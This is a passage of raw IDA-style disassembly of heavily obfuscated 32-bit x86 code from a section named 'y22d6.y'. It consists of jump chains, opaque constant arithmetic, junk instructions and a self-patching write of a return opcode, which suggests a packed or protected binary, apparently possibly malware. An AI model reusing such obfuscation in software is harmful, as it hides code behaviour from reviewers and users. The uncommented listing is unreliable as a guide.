; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_4498C7:				; CODE XREF: sub_43E81B+19j
		jmp	loc_445E21
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439CB5

loc_4498CC:				; CODE XREF: sub_439CB5+18CAj
		jmp	sub_44B267
; END OF FUNCTION CHUNK	FOR sub_439CB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4498D1:				; CODE XREF: sub_448EB6:loc_449096j
		mov	eax, [ebp-4]
		jmp	loc_447FBD
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_4498D9:				; CODE XREF: y22d6.y.:0044BAA8j
		mov	ebx, 1A373C95h

; =============== S U B	R O U T	I N E =======================================



sub_4498DE	proc near		; CODE XREF: sub_448B71:loc_44D7F5p

; FUNCTION CHUNK AT 00438D5F SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xor	eax, eax
		mov	[ebp-8], eax
		jmp	loc_438D5F
sub_4498DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_4498EC:				; CODE XREF: sub_44CB3F-FCEAj
		test	byte ptr [ebp-8], 8
		jz	loc_444720
		push	ebp
		jmp	loc_43ABE8
; END OF FUNCTION CHUNK	FOR sub_44CB3F
; ---------------------------------------------------------------------------

loc_4498FC:				; CODE XREF: y22d6.y.:loc_443159j
		mov	eax, [esp]

loc_4498FF:				; CODE XREF: y22d6.y.:loc_4474E5j
		call	near ptr dword_43D2DC+3
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_449904:				; CODE XREF: sub_44B1D2:loc_43B8F8j
		cmp	edx, 9FE84051h
		jmp	loc_43BDAA
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_263. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_449910:				; CODE XREF: sub_444427+3800j
		jmp	loc_44704C
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_449915:				; CODE XREF: sub_44AEDA-8640j
		jmp	loc_44219A
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44991A:				; CODE XREF: sub_43B09B:loc_43CC58j
		jle	loc_43AC0B

loc_449920:				; CODE XREF: sub_442856:loc_44280Aj
		push	8908DC8Ah
		pop	eax
		or	eax, 18085593h
		test	eax, 80000000h
		jmp	loc_43EAA4
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439407

loc_449937:				; CODE XREF: sub_439407:loc_441D6Cj
		jnz	loc_44763E
		jmp	loc_44438F
; END OF FUNCTION CHUNK	FOR sub_439407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443778

loc_449942:				; CODE XREF: sub_443778-AF4Aj
		and	esi, 6A4741BDh
		add	esi, 0DE410202h
		xchg	esi, [esp+4+var_4]
		jmp	loc_440320
; END OF FUNCTION CHUNK	FOR sub_443778

; =============== S U B	R O U T	I N E =======================================



sub_449956	proc near		; CODE XREF: y22d6.y.:0043E015j
					; y22d6.y.:00445959p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043E5FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00442ABC SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [esp+0]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+0]
		call	sub_44ABDD
		mov	eax, 0D6CB94Ch
		jmp	loc_442ABC
sub_449956	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_449972:				; CODE XREF: sub_43D20E:loc_439C1Fj
		mov	edx, edi
		pop	edi
		mov	eax, [esp+0]
		push	edx
		push	esi
		jmp	loc_441958
; END OF FUNCTION CHUNK	FOR sub_43D20E

; =============== S U B	R O U T	I N E =======================================



sub_44997F	proc near		; CODE XREF: sub_43A9C6+3526j

; FUNCTION CHUNK AT 00440A06 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00448E2B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044BF6C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044D1BD SIZE 00000019 BYTES

		push	ebx
		push	0A214814h
		pop	ebx
		and	ebx, 56D8EEA1h
		or	ebx, 0C569B98Ch
		cmp	ebx, 4C02FE4Ch
		jmp	loc_448E2B
sub_44997F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44999D:				; CODE XREF: y22d6.y.:00441B0Cj
		xchg	edi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_44999F	proc near		; CODE XREF: sub_449AA9-891p

; FUNCTION CHUNK AT 0043DD19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F180 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043FF97 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00441C7D SIZE 00000006 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	4D613793h
		xchg	esi, [esp+0]
		jmp	loc_43FF97
sub_44999F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4499B0:				; CODE XREF: y22d6.y.:loc_44E32Aj
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]
		jmp	loc_4448F4

; =============== S U B	R O U T	I N E =======================================



sub_4499C1	proc near		; CODE XREF: sub_449739+3j

; FUNCTION CHUNK AT 00445C96 SIZE 0000000A BYTES

		add	esp, 0FFFFFFE4h
		jmp	loc_445C96
sub_4499C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4499C9	proc near		; CODE XREF: sub_43BEF7+29j
					; sub_44057E:loc_448767p

; FUNCTION CHUNK AT 0044B42B SIZE 0000001E BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	51F01503h
		pop	eax
		rol	eax, 8
		or	eax, 136EDE99h
		jmp	loc_44B42B
sub_4499C9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_447238
		jmp	loc_4464B8
; ---------------------------------------------------------------------------

loc_4499EE:				; CODE XREF: y22d6.y.:0043A5EDj
					; y22d6.y.:00444681j
		sbb	ecx, 0F65E9124h

; =============== S U B	R O U T	I N E =======================================



sub_4499F4	proc near		; CODE XREF: y22d6.y.:0044DD80p

; FUNCTION CHUNK AT 0043B135 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043C214 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043D828 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004442A1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00447263 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jno	loc_4442A1
		push	7831BD11h
		pop	edx
		rol	edx, 1Bh
		jmp	loc_447263
sub_4499F4	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_266. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449A0D:				; DATA XREF: sub_44439D+6o
		mov	eax, ds:dword_437620
		or	eax, eax
		jnz	loc_446464
		jmp	loc_438A50
; ---------------------------------------------------------------------------

loc_449A20:				; DATA XREF: sub_448EB6+CAo
		xchg	eax, [esp]
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		xchg	esi, [esp]
		mov	esp, ebp
		jmp	loc_448C86
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_310. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A3E9

loc_449A33:				; CODE XREF: sub_44A3E9+Cj
		jmp	loc_43D49A
; END OF FUNCTION CHUNK	FOR sub_44A3E9
; ---------------------------------------------------------------------------

loc_449A38:				; CODE XREF: y22d6.y.:00441A85j
		jmp	loc_43B157
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_449A3D:				; CODE XREF: sub_44057E-5511j
		jmp	loc_4472AA
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_449A42:				; CODE XREF: sub_448EB6:loc_437C33j
		jmp	sub_44A9DF
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_449A47:				; DATA XREF: sub_4432B8-663Eo
		call	sub_43CA1A
		push	esi
		push	0DAB5B422h
		pop	esi
		xor	esi, 7F7C8ED9h
		and	esi, 4EC31FF8h
		add	esi, 0BC67EA0Fh
		test	esi, 40h

loc_449A6B:				; CODE XREF: y22d6.y.:00438DECj
		jmp	loc_4453B9
; ---------------------------------------------------------------------------

loc_449A70:				; CODE XREF: y22d6.y.:00439DB5j
		jge	loc_44C074
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_449A76:				; CODE XREF: sub_44271A:loc_43D36Ej
		add	eax, 0ECD62DDAh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_437EC7
		jmp	loc_44ABBE
; END OF FUNCTION CHUNK	FOR sub_44271A

; =============== S U B	R O U T	I N E =======================================



sub_449A8B	proc near		; CODE XREF: y22d6.y.:00443895j
					; sub_4384B4+11C56p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004389E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445171 SIZE 00000019 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+0]
		call	sub_438E86
		mov	eax, 203AE851h
		jmp	loc_4389E3
sub_449A8B	endp

; ---------------------------------------------------------------------------

loc_449AA7:				; CODE XREF: y22d6.y.:0044A329j
		xor	ebx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_449AA9	proc near		; CODE XREF: y22d6.y.:0044D7C4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004451DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449213 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]
		push	ecx
		jmp	loc_4451DE
sub_449AA9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CFC

loc_449ABC:				; CODE XREF: sub_449CFC:loc_44C644j
		pop	ebx
		rol	ebx, 0Fh
		add	ebx, 66393DC7h
		call	sub_44C4E8
; END OF FUNCTION CHUNK	FOR sub_449CFC
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_449ACB:				; CODE XREF: sub_44C59C-74E8j
		jmp	nullsub_212
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_449AD0:				; CODE XREF: sub_43A58D+36CEj
		jmp	loc_446303
; END OF FUNCTION CHUNK	FOR sub_43A58D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_449AD5:				; CODE XREF: sub_449641:loc_43A21Bj
		popf

loc_449AD6:				; CODE XREF: y22d6.y.:00437533j
		sub	eax, 533727F8h
		or	eax, ds:4000E9h
		add	eax, 0A6674195h
		call	sub_43B11C
; END OF FUNCTION CHUNK	FOR sub_449641
; START	OF FUNCTION CHUNK FOR sub_43A28E

loc_449AED:				; CODE XREF: sub_43A28E+1Dj
		jmp	loc_44BB15
; END OF FUNCTION CHUNK	FOR sub_43A28E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E48C

loc_449AF2:				; CODE XREF: sub_43E48C-3E57j
		add	eax, 2F6E20ECh
		push	eax
		pushf
		push	5E37FC5Ch
		pop	eax
		sub	eax, 0AAB8155Ah
		add	eax, 4CC3D8B9h
		jmp	loc_43AC69
; END OF FUNCTION CHUNK	FOR sub_43E48C
; ---------------------------------------------------------------------------

loc_449B11:				; CODE XREF: y22d6.y.:00441CAEj
		shr	edx, 1Bh
		ror	edx, 19h
; START	OF FUNCTION CHUNK FOR sub_44DB4F

loc_449B17:				; CODE XREF: sub_44DB4F:loc_441C93j
		add	eax, 0E2A26CA6h
		add	eax, ebp
		add	eax, 0AA6C2D53h
		jmp	loc_444B98
; END OF FUNCTION CHUNK	FOR sub_44DB4F
; ---------------------------------------------------------------------------
		mov	eax, 0F2B89A19h
		call	sub_43CA1A
		push	edi
		push	21201C5Eh
		jmp	loc_4492F8
; ---------------------------------------------------------------------------

loc_449B3F:				; CODE XREF: y22d6.y.:00437C7Fj
		jge	loc_43C396
		popf
		sub	esi, ecx
		jmp	loc_4458FD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_326. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447663

loc_449B4E:				; CODE XREF: sub_447663-6B00j
		jmp	sub_43A148
; END OF FUNCTION CHUNK	FOR sub_447663
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD2F

loc_449B53:				; CODE XREF: sub_43AD2F+10160j
		rol	eax, 11h
		push	offset loc_44B56A
		jmp	nullsub_146
; END OF FUNCTION CHUNK	FOR sub_43AD2F
; ---------------------------------------------------------------------------

loc_449B60:				; DATA XREF: sub_4499C9+1A76o
		mov	eax, [eax]
		test	dword ptr [eax], 0FFFF0000h
		jnz	loc_448721
		jmp	loc_43D416
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_44276E
; ---------------------------------------------------------------------------

loc_449B79:				; CODE XREF: y22d6.y.:0043BCD3j
		jz	loc_447C94
		test	eax, esi
		jmp	loc_43ED64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E33C

loc_449B86:				; CODE XREF: sub_44E33C:loc_44E34Dj
		xor	esi, 245B7A9Ah
		call	sub_43878A

loc_449B91:				; CODE XREF: y22d6.y.:0044E07Bj
		jmp	nullsub_277
; END OF FUNCTION CHUNK	FOR sub_44E33C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_449B96:				; CODE XREF: sub_43EC1C+EFCBj
		jmp	loc_440849
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_449B9B:				; CODE XREF: sub_43C7C1+15j
		jmp	loc_44C374
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44921D

loc_449BA0:				; CODE XREF: sub_44921D-11FBFj
		jmp	loc_44E185
; END OF FUNCTION CHUNK	FOR sub_44921D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_449BA5:				; CODE XREF: sub_448EB6-C115j
		xor	ebp, 3807FC33h
		and	edx, 1BAFBA3Dh
		test	ebx, 0A4E15AAFh
		jmp	loc_440501
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_449BBC	proc near		; CODE XREF: y22d6.y.:0043AAE5p
					; y22d6.y.:00442FF3j
		xchg	edx, [esp+0]
		pop	edx
		xor	eax, 6A9A8C7Bh
		push	ecx
		push	70FC07BAh
		jmp	loc_44BC66
sub_449BBC	endp

; ---------------------------------------------------------------------------

loc_449BD1:				; CODE XREF: y22d6.y.:0043C197j
		jg	loc_4444A0
		test	esi, eax
		jmp	loc_438C82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4428C2

loc_449BDE:				; CODE XREF: sub_4428C2:loc_43A64Cj
		pop	ebp
		mov	eax, [esp+0]
		push	edx
		push	esi
		mov	esi, edx
		xchg	esi, [esp+4+var_4]
		push	36EF7715h
		jmp	loc_447AB8
; END OF FUNCTION CHUNK	FOR sub_4428C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_449BF3:				; CODE XREF: sub_448EB6:loc_445254j
		add	eax, 8F826C4Eh
		rol	eax, 8
		xor	eax, 5AB6AB2h
		jnz	loc_443288
		pushf
		test	ebp, esi
		jmp	loc_440799
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_449C10:				; CODE XREF: sub_438B66+139j
		test	eax, 1
		jmp	loc_43B6BC
; END OF FUNCTION CHUNK	FOR sub_438B66

; =============== S U B	R O U T	I N E =======================================



sub_449C1B	proc near		; DATA XREF: sub_442C0C-9B80o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B152 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004405DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440BB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044951A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AE64 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E3ED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044E49A SIZE 0000000E BYTES

		cmp	al, 0A4h
		jz	loc_449515
		jmp	loc_43B152
sub_449C1B	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449C29:				; CODE XREF: y22d6.y.:loc_441A26j
		add	eax, 0C6D7F7CBh
		xor	eax, 0A0158005h
		add	eax, ebp

loc_449C37:				; CODE XREF: y22d6.y.:004457A8j
		add	eax, 0BA28CDA7h
		push	offset loc_43E87C
		jmp	locret_4377D0
; ---------------------------------------------------------------------------

loc_449C47:				; CODE XREF: y22d6.y.:0044818Cj
		js	loc_43F17E
		test	esi, 6B2931C9h
		jmp	loc_4418BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_449C58:				; CODE XREF: sub_44371A+70FAj
		rol	edi, 0Fh
		jg	loc_4479D7
		jmp	loc_43B3A6
; END OF FUNCTION CHUNK	FOR sub_44371A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_275. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E77

loc_449C67:				; CODE XREF: sub_440E77+7j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_440E77
; ---------------------------------------------------------------------------

locret_449C6C:				; CODE XREF: y22d6.y.:0044AEBCj
		retn
; ---------------------------------------------------------------------------

loc_449C6D:				; CODE XREF: y22d6.y.:loc_43A134j
		push	edx
		call	sub_4397E6
		push	0BB08305Ah
		pop	eax
		rol	eax, 0Ch
		add	eax, 5F0C1866h
		push	ebx
		call	sub_4420B5
; START	OF FUNCTION CHUNK FOR sub_44B27F

loc_449C88:				; CODE XREF: sub_44B27F+Dj
		jmp	loc_43F48C
; END OF FUNCTION CHUNK	FOR sub_44B27F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_449C8D:				; CODE XREF: sub_4385ED+BCDFj
		jmp	nullsub_199
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440B68

loc_449C92:				; CODE XREF: sub_440B68+5j
		jmp	loc_44D839
; END OF FUNCTION CHUNK	FOR sub_440B68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA4B

loc_449C97:				; CODE XREF: sub_44DA4B-9E51j
		xchg	ebp, [esi]

loc_449C99:				; CODE XREF: sub_44DA4B:loc_43C726j
		push	edx
		push	0F7A06E5Eh
		pop	edx
		xor	edx, 2F4C15CBh
		rol	edx, 4
		xor	edx, 0DE91FEDFh
		jmp	loc_44D35B
; END OF FUNCTION CHUNK	FOR sub_44DA4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_449CB4:				; CODE XREF: sub_44D6D0-B90Ej
		xchg	eax, edx
		jmp	loc_438C10
; END OF FUNCTION CHUNK	FOR sub_44D6D0

; =============== S U B	R O U T	I N E =======================================



sub_449CBB	proc near		; CODE XREF: sub_43CEE2:loc_445CD6p
					; y22d6.y.:0044BAAEj

; FUNCTION CHUNK AT 00439027 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004449DB SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax+18h]
		dec	eax
		call	sub_44731A

loc_449CC8:				; CODE XREF: sub_44B674-F8F5j
		jz	loc_439027
		jmp	loc_439B48
sub_449CBB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_449CD3:				; CODE XREF: sub_44B674:loc_449683j
		push	offset loc_444DD3
		jmp	loc_442A81
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E63C

loc_449CDD:				; CODE XREF: sub_44E63C-A9C6j
		ror	ebp, 19h
		jmp	loc_43F33F
; END OF FUNCTION CHUNK	FOR sub_44E63C
; ---------------------------------------------------------------------------

loc_449CE5:				; CODE XREF: y22d6.y.:0043DEC9j
		jnb	loc_43E1A5
		add	edx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_449CED	proc near		; CODE XREF: y22d6.y.:0044A2ADp

; FUNCTION CHUNK AT 0043C410 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EC32 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440B7A SIZE 00000012 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	9CB7D74h
		jmp	loc_43EC32
sub_449CED	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449CFB:				; CODE XREF: y22d6.y.:0043D56Bj
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_449CFC	proc near		; CODE XREF: sub_43BEF7+BEF1p

; FUNCTION CHUNK AT 0043DA3C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00449ABC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C644 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		js	loc_43DA3C
		push	ebx
		push	0E286F963h
		jmp	loc_44C644
sub_449CFC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437901

loc_449D11:				; CODE XREF: sub_437901+1086Ej
		ror	eax, 4
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		call	sub_44A46F
		mov	eax, [esp+0]
		push	esi
		call	sub_44E51C
; END OF FUNCTION CHUNK	FOR sub_437901
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_449D28:				; CODE XREF: sub_4432B8+3Ej
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_449D2D:				; CODE XREF: sub_43E81B:loc_447EB0j
		mov	esi, eax
		xchg	esi, [esp+0]
		call	sub_43AD2F
		test	eax, eax
		jz	loc_4422D0
		jmp	loc_437992
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------

loc_449D44:				; CODE XREF: y22d6.y.:0043A0CDj
		adc	eax, 2A483F2Eh
; START	OF FUNCTION CHUNK FOR sub_444E14

loc_449D4A:				; CODE XREF: sub_444E14:loc_43A0B4j
		xor	eax, 7B87F21Dh
		call	sub_43F7FF

loc_449D55:				; CODE XREF: y22d6.y.:loc_43E3F6j
		rol	eax, 16h
		jmp	loc_440071
; END OF FUNCTION CHUNK	FOR sub_444E14
; ---------------------------------------------------------------------------

locret_449D5D:				; CODE XREF: y22d6.y.:00442F0Bj
		retn
; ---------------------------------------------------------------------------

loc_449D5E:				; CODE XREF: y22d6.y.:0043E59Bj
		jmp	loc_44C4D2
; ---------------------------------------------------------------------------

loc_449D63:				; DATA XREF: sub_4432B8:loc_43E872o
		add	edx, 96CF7A31h
		add	edx, ebp
		add	edx, 0E8EFFA97h
		mov	edx, [edx]
		mov	[edx], eax
		jmp	loc_448721
; ---------------------------------------------------------------------------
		add	ebp, 35AE4958h
		jmp	loc_44AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA5D

loc_449D85:				; CODE XREF: sub_44AA5D:loc_44007Cj
		mov	eax, 147A4491h
		call	sub_43CA1A
		push	ebx
		push	0E5ACC346h
		pop	ebx
		and	ebx, ds:4000E5h
		sub	ebx, 3CFEFCECh

loc_449DA2:				; CODE XREF: y22d6.y.:loc_446E6Ej
		jmp	loc_443505
; END OF FUNCTION CHUNK	FOR sub_44AA5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_449DA7:				; CODE XREF: sub_448EB6-ACC1j
		xchg	ebx, [esp+0]
		push	edx
		push	0ED85E635h
		pop	edx
		xor	edx, 9102B128h
		jmp	loc_43BC0C
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_449DBC:				; CODE XREF: y22d6.y.:loc_43BE14j
		jz	loc_441FD5
		jmp	loc_43CE80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_449DC7:				; CODE XREF: sub_444581+6j
		mov	edx, ds:dword_43F7D0
		or	edx, edx
		jnz	loc_43B348
		jmp	loc_44CDD2
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_449DDA:				; CODE XREF: sub_44633F:loc_43BC38j
		jl	loc_444A31

loc_449DE0:				; CODE XREF: y22d6.y.:00447F0Fj
		jmp	loc_44BD7F
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+0]
		jmp	loc_444A2D
; ---------------------------------------------------------------------------
		rol	esi, 1
		shl	esi, 5
		jmp	sub_43CF9E
; ---------------------------------------------------------------------------
		mov	eax, 2DC123E0h
		call	sub_43CA1A
		mov	ds:off_41E10C, eax
		lea	eax, sub_44A5E5
		mov	byte ptr [eax],	0C3h
		jmp	loc_440E34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5E5

loc_449E15:				; CODE XREF: sub_44A5E5:loc_440533j
		mov	eax, [esp+4+var_4]
		push	edx
		push	ecx
		jmp	loc_44336E
; END OF FUNCTION CHUNK	FOR sub_44A5E5
; ---------------------------------------------------------------------------
		sbb	esi, edx
		jmp	loc_43CBFF

; =============== S U B	R O U T	I N E =======================================



sub_449E26	proc near		; CODE XREF: y22d6.y.:00442BB4j
					; sub_44DCA4+4p
		xchg	esi, [esp+0]
		pop	esi
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]
		call	sub_44A413
		mov	eax, 0D1CB0F56h
		jmp	loc_44368E
sub_449E26	endp

; ---------------------------------------------------------------------------
		and	eax, 0E8A2482Ah
		jmp	sub_44DD60
; ---------------------------------------------------------------------------

loc_449E4A:				; CODE XREF: y22d6.y.:00445828j
		push	esi

; =============== S U B	R O U T	I N E =======================================



sub_449E4B	proc near		; CODE XREF: sub_43A411+3p
		xchg	ebx, [esp+0]
		pop	ebx
sub_449E4B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44271A

loc_449E4F:				; CODE XREF: sub_44271A:loc_4404ADj
		xchg	ebx, [esp+4+var_4]
		mov	esi, ebp
		xchg	esi, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		jmp	loc_44D60A
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA9E

loc_449E5F:				; CODE XREF: sub_43BA9E+Dj
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		push	0DE8B34CEh
		pop	eax
		sub	eax, 0E140366Eh
		jmp	loc_442B26
; END OF FUNCTION CHUNK	FOR sub_43BA9E
; ---------------------------------------------------------------------------

loc_449E75:				; CODE XREF: y22d6.y.:loc_43D07Dj
		mov	esi, ebp
		pop	ebp
		add	esi, 0A9318BD3h
		or	esi, 0D08C380h
		add	esi, 0C093A5D9h
		xchg	esi, [esp]
		jmp	sub_440F6A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449E93:				; CODE XREF: y22d6.y.:00449614j
		jmp	loc_449823
; ---------------------------------------------------------------------------

loc_449E98:				; CODE XREF: y22d6.y.:0043D94Bj
		jmp	loc_4376C7
; ---------------------------------------------------------------------------

loc_449E9D:				; CODE XREF: y22d6.y.:loc_447332j
		pop	edi
		add	edi, 0F6542565h
		rol	edi, 1Fh
		and	edi, 744E13F7h
		sub	edi, 7D3B8F12h
		add	edi, 2D7B5C6Eh
		jmp	loc_43AE5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A095

loc_449EBE:				; CODE XREF: sub_44A095+754j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44A095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_449EC0:				; CODE XREF: sub_43EC01+6203j
		jmp	loc_442942
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------
